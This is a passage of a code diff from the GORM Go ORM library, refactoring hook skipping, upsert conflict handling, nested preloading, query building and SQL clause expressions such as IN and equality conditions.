if db.Error == nil && db.Statement.Schema != nil && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterCreate) {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterCreate) {
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
if db.Statement.Schema.AfterSave {
if i, ok := value.(AfterSaveInterface); ok {
@@ -238,14 +239,17 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
default:
var (
selectColumns, restricted = stmt.SelectAndOmitColumns(true, false)
_, updateTrackTime = stmt.Get("gorm:update_track_time")
curTime = stmt.DB.NowFunc()
isZero bool
)
stmt.Settings.Delete("gorm:update_track_time")
values = clause.Values{Columns: make([]clause.Column, 0, len(stmt.Schema.DBNames))}
for _, db := range stmt.Schema.DBNames {
if field := stmt.Schema.FieldsByDBName[db]; !field.HasDefaultValue || field.DefaultValueInterface != nil {
if v, ok := selectColumns[db]; (ok && v) || (!ok && !restricted) {
if v, ok := selectColumns[db]; (ok && v) || (!ok && (!restricted || field.AutoCreateTime > 0 || field.AutoUpdateTime > 0)) {
values.Columns = append(values.Columns, clause.Column{Name: db})
}
}
@@ -253,7 +257,7 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
switch stmt.ReflectValue.Kind() {
case reflect.Slice, reflect.Array:
stmt.SQL.Grow(stmt.ReflectValue.Len() * 15)
stmt.SQL.Grow(stmt.ReflectValue.Len() * 18)
values.Values = make([][]interface{}, stmt.ReflectValue.Len())
defaultValueFieldsHavingValue := map[*schema.Field][]interface{}{}
if stmt.ReflectValue.Len() == 0 {
@@ -279,6 +283,9 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
field.Set(rv, curTime)
values.Values[i][idx], _ = field.ValueOf(rv)
}
} else if field.AutoUpdateTime > 0 && updateTrackTime {
field.Set(rv, curTime)
values.Values[i][idx], _ = field.ValueOf(rv)
}
}
@@ -316,6 +323,9 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
field.Set(stmt.ReflectValue, curTime)
values.Values[0][idx], _ = field.ValueOf(stmt.ReflectValue)
}
} else if field.AutoUpdateTime > 0 && updateTrackTime {
field.Set(stmt.ReflectValue, curTime)
values.Values[0][idx], _ = field.ValueOf(stmt.ReflectValue)
}
}
@@ -332,26 +342,32 @@ func ConvertToCreateValues(stmt *gorm.Statement) (values clause.Values) {
}
}
if stmt.UpdatingColumn {
if stmt.Schema != nil && len(values.Columns) > 1 {
columns := make([]string, 0, len(values.Columns)-1)
for _, column := range values.Columns {
if field := stmt.Schema.LookUpField(column.Name); field != nil {
if !field.PrimaryKey && !field.HasDefaultValue && field.AutoCreateTime == 0 {
columns = append(columns, column.Name)
if c, ok := stmt.Clauses["ON CONFLICT"]; ok {
if onConflict, _ := c.Expression.(clause.OnConflict); onConflict.UpdateAll {
if stmt.Schema != nil && len(values.Columns) >= 1 {
selectColumns, restricted := stmt.SelectAndOmitColumns(true, true)
columns := make([]string, 0, len(values.Columns)-1)
for _, column := range values.Columns {
if field := stmt.Schema.LookUpField(column.Name); field != nil {
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && !restricted) {
if !field.PrimaryKey && (!field.HasDefaultValue || field.DefaultValueInterface != nil) && field.AutoCreateTime == 0 {
columns = append(columns, column.Name)
}
}
}
}
}
onConflict := clause.OnConflict{
Columns: make([]clause.Column, len(stmt.Schema.PrimaryFieldDBNames)),
DoUpdates: clause.AssignmentColumns(columns),
}
onConflict.DoUpdates = clause.AssignmentColumns(columns)
for idx, field := range stmt.Schema.PrimaryFields {
onConflict.Columns[idx] = clause.Column{Name: field.DBName}
// use primary fields as default OnConflict columns
if len(onConflict.Columns) == 0 {
for _, field := range stmt.Schema.PrimaryFields {
onConflict.Columns = append(onConflict.Columns, clause.Column{Name: field.DBName})
}
}
stmt.AddClause(onConflict)
}
stmt.AddClause(onConflict)
}
}
+12 -9
View File
@@ -10,7 +10,7 @@ import (
)
func BeforeDelete(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil && db.Statement.Schema.BeforeDelete {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && db.Statement.Schema.BeforeDelete {
callMethod(db, func(value interface{}, tx *gorm.DB) bool {
if i, ok := value.(BeforeDeleteInterface); ok {
db.AddError(i.BeforeDelete(tx))
@@ -34,11 +34,14 @@ func DeleteBeforeAssociations(db *gorm.DB) {
case schema.HasOne, schema.HasMany:
queryConds := rel.ToQueryConditions(db.Statement.ReflectValue)
modelValue := reflect.New(rel.FieldSchema.ModelType).Interface()
tx := db.Session(&gorm.Session{}).Model(modelValue)
tx := db.Session(&gorm.Session{NewDB: true}).Model(modelValue)
withoutConditions := false
if db.Statement.Unscoped {
tx = tx.Unscoped()
}
if len(db.Statement.Selects) > 0 {
var selects []string
selects := make([]string, 0, len(db.Statement.Selects))
for _, s := range db.Statement.Selects {
if s == clause.Associations {
selects = append(selects, s)
@@ -66,12 +69,12 @@ func DeleteBeforeAssociations(db *gorm.DB) {
}
case schema.Many2Many:
var (
queryConds []clause.Expression
foreignFields []*schema.Field
relForeignKeys []string
queryConds = make([]clause.Expression, 0, len(rel.References))
foreignFields = make([]*schema.Field, 0, len(rel.References))
relForeignKeys = make([]string, 0, len(rel.References))
modelValue = reflect.New(rel.JoinTable.ModelType).Interface()
table = rel.JoinTable.Table
tx = db.Session(&gorm.Session{}).Model(modelValue).Table(table)
tx = db.Session(&gorm.Session{NewDB: true}).Model(modelValue).Table(table)
)
for _, ref := range rel.References {
@@ -132,7 +135,7 @@ func Delete(db *gorm.DB) {
}
db.Statement.AddClauseIfNotExists(clause.From{})
db.Statement.Build("DELETE", "FROM", "WHERE")
db.Statement.Build(db.Statement.BuildClauses...)
}
if _, ok := db.Statement.Clauses["WHERE"]; !db.AllowGlobalUpdate && !ok && db.Error == nil {
@@ -153,7 +156,7 @@ func Delete(db *gorm.DB) {
}
func AfterDelete(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil && db.Statement.Schema.AfterDelete {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && db.Statement.Schema.AfterDelete {
callMethod(db, func(value interface{}, tx *gorm.DB) bool {
if i, ok := value.(AfterDeleteInterface); ok {
db.AddError(i.AfterDelete(tx))
+9 -4
View File
@@ -12,7 +12,7 @@ func ConvertMapToValuesForCreate(stmt *gorm.Statement, mapValue map[string]inter
values.Columns = make([]clause.Column, 0, len(mapValue))
selectColumns, restricted := stmt.SelectAndOmitColumns(true, false)
var keys []string
var keys = make([]string, 0, len(mapValue))
for k := range mapValue {
keys = append(keys, k)
}
@@ -41,16 +41,21 @@ func ConvertMapToValuesForCreate(stmt *gorm.Statement, mapValue map[string]inter
// ConvertSliceOfMapToValuesForCreate convert slice of map to values
func ConvertSliceOfMapToValuesForCreate(stmt *gorm.Statement, mapValues []map[string]interface{}) (values clause.Values) {
var (
columns = []string{}
result = map[string][]interface{}{}
selectColumns, restricted = stmt.SelectAndOmitColumns(true, false)
columns = make([]string, 0, len(mapValues))
)
// when the length of mapValues is zero,return directly here
// no need to call stmt.SelectAndOmitColumns method
if len(mapValues) == 0 {
stmt.AddError(gorm.ErrEmptySlice)
return
}
var (
result = make(map[string][]interface{}, len(mapValues))
selectColumns, restricted = stmt.SelectAndOmitColumns(true, false)
)
for idx, mapValue := range mapValues {
for k, v := range mapValue {
if stmt.Schema != nil {
+48 -32
View File
@@ -1,6 +1,7 @@
package callbacks
import (
"fmt"
"reflect"
"gorm.io/gorm"
@@ -9,11 +10,10 @@ import (
"gorm.io/gorm/utils"
)
func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
func preload(db *gorm.DB, rel *schema.Relationship, conds []interface{}, preloads map[string][]interface{}) {
var (
reflectValue = db.Statement.ReflectValue
rel = rels[len(rels)-1]
tx = db.Session(&gorm.Session{})
tx = db.Session(&gorm.Session{NewDB: true}).Model(nil).Session(&gorm.Session{SkipHooks: db.Statement.SkipHooks})
relForeignKeys []string
relForeignFields []*schema.Field
foreignFields []*schema.Field
@@ -22,13 +22,18 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
inlineConds []interface{}
)
if len(rels) > 1 {
reflectValue = schema.GetRelationsValues(reflectValue, rels[:len(rels)-1])
}
db.Statement.Settings.Range(func(k, v interface{}) bool {
tx.Statement.Settings.Store(k, v)
return true
})
if rel.JoinTable != nil {
var joinForeignFields, joinRelForeignFields []*schema.Field
var joinForeignKeys []string
var (
joinForeignFields = make([]*schema.Field, 0, len(rel.References))
joinRelForeignFields = make([]*schema.Field, 0, len(rel.References))
joinForeignKeys = make([]string, 0, len(rel.References))
)
for _, ref := range rel.References {
if ref.OwnPrimaryKey {
joinForeignKeys = append(joinForeignKeys, ref.ForeignKey.DBName)
@@ -49,7 +54,7 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
}
joinResults := rel.JoinTable.MakeSlice().Elem()
column, values := schema.ToQueryValues(rel.JoinTable.Table, joinForeignKeys, joinForeignValues)
column, values := schema.ToQueryValues(clause.CurrentTable, joinForeignKeys, joinForeignValues)
db.AddError(tx.Where(clause.IN{Column: column, Values: values}).Find(joinResults.Addr().Interface()).Error)
// convert join identity map to relation identity map
@@ -92,18 +97,25 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
}
}
// nested preload
for p, pvs := range preloads {
tx = tx.Preload(p, pvs...)
}
reflectResults := rel.FieldSchema.MakeSlice().Elem()
column, values := schema.ToQueryValues(clause.CurrentTable, relForeignKeys, foreignValues)
for _, cond := range conds {
if fc, ok := cond.(func(*gorm.DB) *gorm.DB); ok {
tx = fc(tx)
} else {
inlineConds = append(inlineConds, cond)
if len(values) != 0 {
for _, cond := range conds {
if fc, ok := cond.(func(*gorm.DB) *gorm.DB); ok {
tx = fc(tx)
} else {
inlineConds = append(inlineConds, cond)
}
}
}
db.AddError(tx.Where(clause.IN{Column: column, Values: values}).Find(reflectResults.Addr().Interface(), inlineConds...).Error)
db.AddError(tx.Where(clause.IN{Column: column, Values: values}).Find(reflectResults.Addr().Interface(), inlineConds...).Error)
}
fieldValues := make([]interface{}, len(relForeignFields))
@@ -112,7 +124,7 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
case reflect.Struct:
switch rel.Type {
case schema.HasMany, schema.Many2Many:
rel.Field.Set(reflectValue, reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 0).Interface())
rel.Field.Set(reflectValue, reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 10).Interface())
default:
rel.Field.Set(reflectValue, reflect.New(rel.Field.FieldType).Interface())
}
@@ -120,7 +132,7 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
for i := 0; i < reflectValue.Len(); i++ {
switch rel.Type {
case schema.HasMany, schema.Many2Many:
rel.Field.Set(reflectValue.Index(i), reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 0).Interface())
rel.Field.Set(reflectValue.Index(i), reflect.MakeSlice(rel.Field.IndirectFieldType, 0, 10).Interface())
default:
rel.Field.Set(reflectValue.Index(i), reflect.New(rel.Field.FieldType).Interface())
}
@@ -133,23 +145,27 @@ func preload(db *gorm.DB, rels []*schema.Relationship, conds []interface{}) {
fieldValues[idx], _ = field.ValueOf(elem)
}
for _, data := range identityMap[utils.ToStringKey(fieldValues...)] {
reflectFieldValue := rel.Field.ReflectValueOf(data)
if reflectFieldValue.Kind() == reflect.Ptr && reflectFieldValue.IsNil() {
reflectFieldValue.Set(reflect.New(rel.Field.FieldType.Elem()))
}
if datas, ok := identityMap[utils.ToStringKey(fieldValues...)]; ok {
for _, data := range datas {
reflectFieldValue := rel.Field.ReflectValueOf(data)
if reflectFieldValue.Kind() == reflect.Ptr && reflectFieldValue.IsNil() {
reflectFieldValue.Set(reflect.New(rel.Field.FieldType.Elem()))
}
reflectFieldValue = reflect.Indirect(reflectFieldValue)
switch reflectFieldValue.Kind() {
case reflect.Struct:
rel.Field.Set(data, reflectResults.Index(i).Interface())
case reflect.Slice, reflect.Array:
if reflectFieldValue.Type().Elem().Kind() == reflect.Ptr {
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem).Interface())
} else {
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem.Elem()).Interface())
reflectFieldValue = reflect.Indirect(reflectFieldValue)
switch reflectFieldValue.Kind() {
case reflect.Struct:
rel.Field.Set(data, reflectResults.Index(i).Interface())
case reflect.Slice, reflect.Array:
if reflectFieldValue.Type().Elem().Kind() == reflect.Ptr {
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem).Interface())
} else {
rel.Field.Set(data, reflect.Append(reflectFieldValue, elem.Elem()).Interface())
}
}
}
} else {
db.AddError(fmt.Errorf("failed to assign association %#v, make sure foreign fields exists", elem.Interface()))
}
}
}
+44 -40
View File
@@ -8,7 +8,6 @@ import (
"gorm.io/gorm"
"gorm.io/gorm/clause"
"gorm.io/gorm/schema"
)
func Query(db *gorm.DB) {
@@ -68,26 +67,28 @@ func BuildQuerySQL(db *gorm.DB) {
clauseSelect.Columns = make([]clause.Column, 0, len(db.Statement.Schema.DBNames))
for _, dbName := range db.Statement.Schema.DBNames {
if v, ok := selectColumns[dbName]; (ok && v) || !ok {
clauseSelect.Columns = append(clauseSelect.Columns, clause.Column{Name: dbName})
clauseSelect.Columns = append(clauseSelect.Columns, clause.Column{Table: db.Statement.Table, Name: dbName})
}
}
} else if db.Statement.Schema != nil && db.Statement.ReflectValue.IsValid() {
smallerStruct := false
switch db.Statement.ReflectValue.Kind() {
case reflect.Struct:
smallerStruct = db.Statement.ReflectValue.Type() != db.Statement.Schema.ModelType
case reflect.Slice:
smallerStruct = db.Statement.ReflectValue.Type().Elem() != db.Statement.Schema.ModelType
queryFields := db.QueryFields
if !queryFields {
switch db.Statement.ReflectValue.Kind() {
case reflect.Struct:
queryFields = db.Statement.ReflectValue.Type() != db.Statement.Schema.ModelType
case reflect.Slice:
queryFields = db.Statement.ReflectValue.Type().Elem() != db.Statement.Schema.ModelType
}
}
if smallerStruct {
if queryFields {
stmt := gorm.Statement{DB: db}
// smaller struct
if err := stmt.Parse(db.Statement.Dest); err == nil && stmt.Schema.ModelType != db.Statement.Schema.ModelType {
if err := stmt.Parse(db.Statement.Dest); err == nil && (db.QueryFields || stmt.Schema.ModelType != db.Statement.Schema.ModelType) {
clauseSelect.Columns = make([]clause.Column, len(stmt.Schema.DBNames))
for idx, dbName := range stmt.Schema.DBNames {
clauseSelect.Columns[idx] = clause.Column{Name: dbName}
clauseSelect.Columns[idx] = clause.Column{Table: db.Statement.Table, Name: dbName}
}
}
}
@@ -103,10 +104,15 @@ func BuildQuerySQL(db *gorm.DB) {
}
joins := []clause.Join{}
if fromClause, ok := db.Statement.Clauses["FROM"].Expression.(clause.From); ok {
joins = fromClause.Joins
}
for _, join := range db.Statement.Joins {
if db.Statement.Schema == nil {
joins = append(joins, clause.Join{
Expression: clause.Expr{SQL: join.Name, Vars: join.Conds},
Expression: clause.NamedExpr{SQL: join.Name, Vars: join.Conds},
})
} else if relation, ok := db.Statement.Schema.Relationships.Relations[join.Name]; ok {
tableAliasName := relation.Name
@@ -148,11 +154,12 @@ func BuildQuerySQL(db *gorm.DB) {
})
} else {
joins = append(joins, clause.Join{
Expression: clause.Expr{SQL: join.Name, Vars: join.Conds},
Expression: clause.NamedExpr{SQL: join.Name, Vars: join.Conds},
})
}
}
db.Statement.Joins = nil
db.Statement.AddClause(clause.From{Joins: joins})
} else {
db.Statement.AddClauseIfNotExists(clause.From{})
@@ -160,59 +167,56 @@ func BuildQuerySQL(db *gorm.DB) {
db.Statement.AddClauseIfNotExists(clauseSelect)
db.Statement.Build("SELECT", "FROM", "WHERE", "GROUP BY", "ORDER BY", "LIMIT", "FOR")
db.Statement.Build(db.Statement.BuildClauses...)
}
}
func Preload(db *gorm.DB) {
if db.Error == nil && len(db.Statement.Preloads) > 0 {
preloadMap := map[string][]string{}
preloadMap := map[string]map[string][]interface{}{}
for name := range db.Statement.Preloads {
if name == clause.Associations {
preloadFields := strings.Split(name, ".")
if preloadFields[0] == clause.Associations {
for _, rel := range db.Statement.Schema.Relationships.Relations {
if rel.Schema == db.Statement.Schema {
preloadMap[rel.Name] = []string{rel.Name}
if _, ok := preloadMap[rel.Name]; !ok {
preloadMap[rel.Name] = map[string][]interface{}{}
}
if value := strings.TrimPrefix(strings.TrimPrefix(name, preloadFields[0]), "."); value != "" {
preloadMap[rel.Name][value] = db.Statement.Preloads[name]
}
}
}
} else {
preloadFields := strings.Split(name, ".")
for idx := range preloadFields {
preloadMap[strings.Join(preloadFields[:idx+1], ".")] = preloadFields[:idx+1]
if _, ok := preloadMap[preloadFields[0]]; !ok {
preloadMap[preloadFields[0]] = map[string][]interface{}{}
}
if value := strings.TrimPrefix(strings.TrimPrefix(name, preloadFields[0]), "."); value != "" {
preloadMap[preloadFields[0]][value] = db.Statement.Preloads[name]
}
}
}
preloadNames := make([]string, len(preloadMap))
idx := 0
preloadNames := make([]string, 0, len(preloadMap))
for key := range preloadMap {
preloadNames[idx] = key
idx++
preloadNames = append(preloadNames, key)
}
sort.Strings(preloadNames)
for _, name := range preloadNames {
var (
curSchema = db.Statement.Schema
preloadFields = preloadMap[name]
rels = make([]*schema.Relationship, len(preloadFields))
)
for idx, preloadField := range preloadFields {
if rel := curSchema.Relationships.Relations[preloadField]; rel != nil {
rels[idx] = rel
curSchema = rel.FieldSchema
} else {
db.AddError(fmt.Errorf("%v: %w", name, gorm.ErrUnsupportedRelation))
}
if rel := db.Statement.Schema.Relationships.Relations[name]; rel != nil {
preload(db, rel, db.Statement.Preloads[name], preloadMap[name])
} else {
db.AddError(fmt.Errorf("%s: %w for schema %s", name, gorm.ErrUnsupportedRelation, db.Statement.Schema.Name))
}
preload(db, rels, db.Statement.Preloads[name])
}
}
}
func AfterQuery(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil && db.Statement.Schema.AfterFind {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && db.Statement.Schema.AfterFind && db.RowsAffected > 0 {
callMethod(db, func(value interface{}, tx *gorm.DB) bool {
if i, ok := value.(AfterFindInterface); ok {
db.AddError(i.AfterFind(tx))
+2 -1
View File
@@ -9,7 +9,8 @@ func RowQuery(db *gorm.DB) {
BuildQuerySQL(db)
if !db.DryRun {
if isRows, ok := db.InstanceGet("rows"); ok && isRows.(bool) {
if isRows, ok := db.Get("rows"); ok && isRows.(bool) {
db.Statement.Settings.Delete("rows")
db.Statement.Dest, db.Error = db.Statement.ConnPool.QueryContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
} else {
db.Statement.Dest = db.Statement.ConnPool.QueryRowContext(db.Statement.Context, db.Statement.SQL.String(), db.Statement.Vars...)
+3 -1
View File
@@ -9,8 +9,10 @@ func BeginTransaction(db *gorm.DB) {
if tx := db.Begin(); tx.Error == nil {
db.Statement.ConnPool = tx.Statement.ConnPool
db.InstanceSet("gorm:started_transaction", true)
} else {
} else if tx.Error == gorm.ErrInvalidTransaction {
tx.Error = nil
} else {
db.Error = tx.Error
}
}
}
+16 -18
View File
@@ -29,7 +29,7 @@ func SetupUpdateReflectValue(db *gorm.DB) {
}
func BeforeUpdate(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.UpdatingColumn && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeUpdate) {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.BeforeSave || db.Statement.Schema.BeforeUpdate) {
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
if db.Statement.Schema.BeforeSave {
if i, ok := value.(BeforeSaveInterface); ok {
@@ -66,7 +66,7 @@ func Update(db *gorm.DB) {
} else {
return
}
db.Statement.Build("UPDATE", "SET", "WHERE")
db.Statement.Build(db.Statement.BuildClauses...)
}
if _, ok := db.Statement.Clauses["WHERE"]; !db.AllowGlobalUpdate && !ok {
@@ -87,7 +87,7 @@ func Update(db *gorm.DB) {
}
func AfterUpdate(db *gorm.DB) {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.UpdatingColumn && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterUpdate) {
if db.Error == nil && db.Statement.Schema != nil && !db.Statement.SkipHooks && (db.Statement.Schema.AfterSave || db.Statement.Schema.AfterUpdate) {
callMethod(db, func(value interface{}, tx *gorm.DB) (called bool) {
if db.Statement.Schema.AfterSave {
if i, ok := value.(AfterSaveInterface); ok {
@@ -198,11 +198,11 @@ func ConvertToAssignments(stmt *gorm.Statement) (set clause.Set) {
}
}
if !stmt.UpdatingColumn && stmt.Schema != nil {
if !stmt.SkipHooks && stmt.Schema != nil {
for _, dbName := range stmt.Schema.DBNames {
field := stmt.Schema.LookUpField(dbName)
if field.AutoUpdateTime > 0 && value[field.Name] == nil && value[field.DBName] == nil {
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && !restricted) {
if v, ok := selectColumns[field.DBName]; (ok && v) || !ok {
now := stmt.DB.NowFunc()
assignValue(field, now)
@@ -226,21 +226,19 @@ func ConvertToAssignments(stmt *gorm.Statement) (set clause.Set) {
for _, dbName := range stmt.Schema.DBNames {
field := stmt.Schema.LookUpField(dbName)
if !field.PrimaryKey || (!updatingValue.CanAddr() || stmt.Dest != stmt.Model) {
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && !restricted) {
if v, ok := selectColumns[field.DBName]; (ok && v) || (!ok && (!restricted || (!stmt.SkipHooks && field.AutoUpdateTime > 0))) {
value, isZero := field.ValueOf(updatingValue)
if !stmt.UpdatingColumn {
if field.AutoUpdateTime > 0 {
if field.AutoUpdateTime == schema.UnixNanosecond {
value = stmt.DB.NowFunc().UnixNano()
} else if field.AutoUpdateTime == schema.UnixMillisecond {
value = stmt.DB.NowFunc().UnixNano() / 1e6
} else if field.GORMDataType == schema.Time {
value = stmt.DB.NowFunc()
} else {
value = stmt.DB.NowFunc().Unix()
}
isZero = false
if !stmt.SkipHooks && field.AutoUpdateTime > 0 {
if field.AutoUpdateTime == schema.UnixNanosecond {
value = stmt.DB.NowFunc().UnixNano()
} else if field.AutoUpdateTime == schema.UnixMillisecond {
value = stmt.DB.NowFunc().UnixNano() / 1e6
} else if field.GORMDataType == schema.Time {
value = stmt.DB.NowFunc()
} else {
value = stmt.DB.NowFunc().Unix()
}
isZero = false
}
if ok || !isZero {
+26 -24
View File
@@ -50,15 +50,14 @@ func (db *DB) Table(name string, args ...interface{}) (tx *DB) {
tx.Statement.TableExpr = &clause.Expr{SQL: name, Vars: args}
if results := tableRegexp.FindStringSubmatch(name); len(results) == 2 {
tx.Statement.Table = results[1]
return
}
} else if tables := strings.Split(name, "."); len(tables) == 2 {
tx.Statement.TableExpr = &clause.Expr{SQL: tx.Statement.Quote(name)}
tx.Statement.Table = tables[1]
return
} else {
tx.Statement.TableExpr = &clause.Expr{SQL: tx.Statement.Quote(name)}
tx.Statement.Table = name
}
tx.Statement.Table = name
return
}
@@ -93,10 +92,17 @@ func (db *DB) Select(query interface{}, args ...interface{}) (tx *DB) {
}
delete(tx.Statement.Clauses, "SELECT")
case string:
fields := strings.FieldsFunc(v, utils.IsValidDBNameChar)
// normal field names
if len(fields) == 1 || (len(fields) == 3 && strings.ToUpper(fields[1]) == "AS") {
if strings.Count(v, "?") >= len(args) && len(args) > 0 {
tx.Statement.AddClause(clause.Select{
Distinct: db.Statement.Distinct,
Expression: clause.Expr{SQL: v, Vars: args},
})
} else if strings.Count(v, "@") > 0 && len(args) > 0 {
tx.Statement.AddClause(clause.Select{
Distinct: db.Statement.Distinct,
Expression: clause.NamedExpr{SQL: v, Vars: args},
})
} else {
tx.Statement.Selects = []string{v}
for _, arg := range args {
@@ -115,11 +121,6 @@ func (db *DB) Select(query interface{}, args ...interface{}) (tx *DB) {
}
delete(tx.Statement.Clauses, "SELECT")
} else {
tx.Statement.AddClause(clause.Select{
Distinct: db.Statement.Distinct,
Expression: clause.Expr{SQL: v, Vars: args},
})
}
default:
tx.AddError(fmt.Errorf("unsupported select args %v %v", query, args))
@@ -207,12 +208,14 @@ func (db *DB) Order(value interface{}) (tx *DB) {
tx.Statement.AddClause(clause.OrderBy{
Columns: []clause.OrderByColumn{v},
})
default:
tx.Statement.AddClause(clause.OrderBy{
Columns: []clause.OrderByColumn{{
Column: clause.Column{Name: fmt.Sprint(value), Raw: true},
}},
})
case string:
if v != "" {
tx.Statement.AddClause(clause.OrderBy{
Columns: []clause.OrderByColumn{{
Column: clause.Column{Name: v, Raw: true},
}},
})
}
}
return
}
@@ -243,11 +246,10 @@ func (db *DB) Offset(offset int) (tx *DB) {
// }
//
// db.Scopes(AmountGreaterThan1000, OrderStatus([]string{"paid", "shipped"})).Find(&orders)
func (db *DB) Scopes(funcs ...func(*DB) *DB) *DB {
for _, f := range funcs {
db = f(db)
}
return db
func (db *DB) Scopes(funcs ...func(*DB) *DB) (tx *DB) {
tx = db.getInstance()
tx.Statement.scopes = append(tx.Statement.scopes, funcs...)
return tx
}
// Preload preload associations with given conditions
+4 -4
View File
@@ -7,7 +7,7 @@ type Interface interface {
MergeClause(*Clause)
}
// ClauseBuilder clause builder, allows to custmize how to build clause
// ClauseBuilder clause builder, allows to customize how to build clause
type ClauseBuilder func(Clause, Builder)
type Writer interface {
@@ -62,9 +62,9 @@ func (c Clause) Build(builder Builder) {
}
const (
PrimaryKey string = "@@@py@@@" // primary key
CurrentTable string = "@@@ct@@@" // current table
Associations string = "@@@as@@@" // associations
PrimaryKey string = "~~~py~~~" // primary key
CurrentTable string = "~~~ct~~~" // current table
Associations string = "~~~as~~~" // associations
)
var (
+111 -27
View File
@@ -78,9 +78,10 @@ type NamedExpr struct {
// Build build raw expression
func (expr NamedExpr) Build(builder Builder) {
var (
idx int
inName bool
namedMap = make(map[string]interface{}, len(expr.Vars))
idx int
inName bool
afterParenthesis bool
namedMap = make(map[string]interface{}, len(expr.Vars))
)
for _, v := range expr.Vars {
@@ -131,19 +132,53 @@ func (expr NamedExpr) Build(builder Builder) {
inName = false
}
afterParenthesis = false
builder.WriteByte(v)
} else if v == '?' && len(expr.Vars) > idx {
builder.AddVar(builder, expr.Vars[idx])
if afterParenthesis {
if _, ok := expr.Vars[idx].(driver.Valuer); ok {
builder.AddVar(builder, expr.Vars[idx])
} else {
switch rv := reflect.ValueOf(expr.Vars[idx]); rv.Kind() {
case reflect.Slice, reflect.Array:
if rv.Len() == 0 {
builder.AddVar(builder, nil)
} else {
for i := 0; i < rv.Len(); i++ {
if i > 0 {
builder.WriteByte(',')
}
builder.AddVar(builder, rv.Index(i).Interface())
}
}
default:
builder.AddVar(builder, expr.Vars[idx])
}
}
} else {
builder.AddVar(builder, expr.Vars[idx])
}
idx++
} else if inName {
name = append(name, v)
} else {
if v == '(' {
afterParenthesis = true
} else {
afterParenthesis = false
}
builder.WriteByte(v)
}
}
if inName {
builder.AddVar(builder, namedMap[string(name)])
if nv, ok := namedMap[string(name)]; ok {
builder.AddVar(builder, nv)
} else {
builder.WriteByte('@')
builder.WriteString(string(name))
}
}
}
@@ -160,8 +195,13 @@ func (in IN) Build(builder Builder) {
case 0:
builder.WriteString(" IN (NULL)")
case 1:
builder.WriteString(" = ")
builder.AddVar(builder, in.Values...)
if _, ok := in.Values[0].([]interface{}); !ok {
builder.WriteString(" = ")
builder.AddVar(builder, in.Values[0])
break
}
fallthrough
default:
builder.WriteString(" IN (")
builder.AddVar(builder, in.Values...)
@@ -170,14 +210,19 @@ func (in IN) Build(builder Builder) {
}
func (in IN) NegationBuild(builder Builder) {
builder.WriteQuoted(in.Column)
switch len(in.Values) {
case 0:
builder.WriteString(" IS NOT NULL")
case 1:
builder.WriteQuoted(in.Column)
builder.WriteString(" <> ")
builder.AddVar(builder, in.Values...)
if _, ok := in.Values[0].([]interface{}); !ok {
builder.WriteString(" <> ")
builder.AddVar(builder, in.Values[0])
break
}
fallthrough
default:
builder.WriteQuoted(in.Column)
builder.WriteString(" NOT IN (")
builder.AddVar(builder, in.Values...)
builder.WriteByte(')')
@@ -193,16 +238,29 @@ type Eq struct {
func (eq Eq) Build(builder Builder) {
builder.WriteQuoted(eq.Column)
if eq.Value == nil {
builder.WriteString(" IS NULL")
} else {
builder.WriteString(" = ")
builder.AddVar(builder, eq.Value)
switch eq.Value.(type) {
case []string, []int, []int32, []int64, []uint, []uint32, []uint64, []interface{}:
builder.WriteString(" IN (")
rv := reflect.ValueOf(eq.Value)
for i := 0; i < rv.Len(); i++ {
if i > 0 {
builder.WriteByte(',')
}
builder.AddVar(builder, rv.Index(i).Interface())
}
builder.WriteByte(')')
default:
if eqNil(eq.Value) {
builder.WriteString(" IS NULL")
} else {
builder.WriteString(" = ")
builder.AddVar(builder, eq.Value)
}
}
}
func (eq Eq) NegationBuild(builder Builder) {
Neq{eq.Column, eq.Value}.Build(builder)
Neq(eq).Build(builder)
}
// Neq not equal to for where
@@ -211,16 +269,29 @@ type Neq Eq
func (neq Neq) Build(builder Builder) {
builder.WriteQuoted(neq.Column)
if neq.Value == nil {
builder.WriteString(" IS NOT NULL")
} else {
builder.WriteString(" <> ")
builder.AddVar(builder, neq.Value)
switch neq.Value.(type) {
case []string, []int, []int32, []int64, []uint, []uint32, []uint64, []interface{}:
builder.WriteString(" NOT IN (")
rv := reflect.ValueOf(neq.Value)
for i := 0; i < rv.Len(); i++ {
if i > 0 {
builder.WriteByte(',')
}
builder.AddVar(builder, rv.Index(i).Interface())
}
builder.WriteByte(')')
default:
if eqNil(neq.Value) {
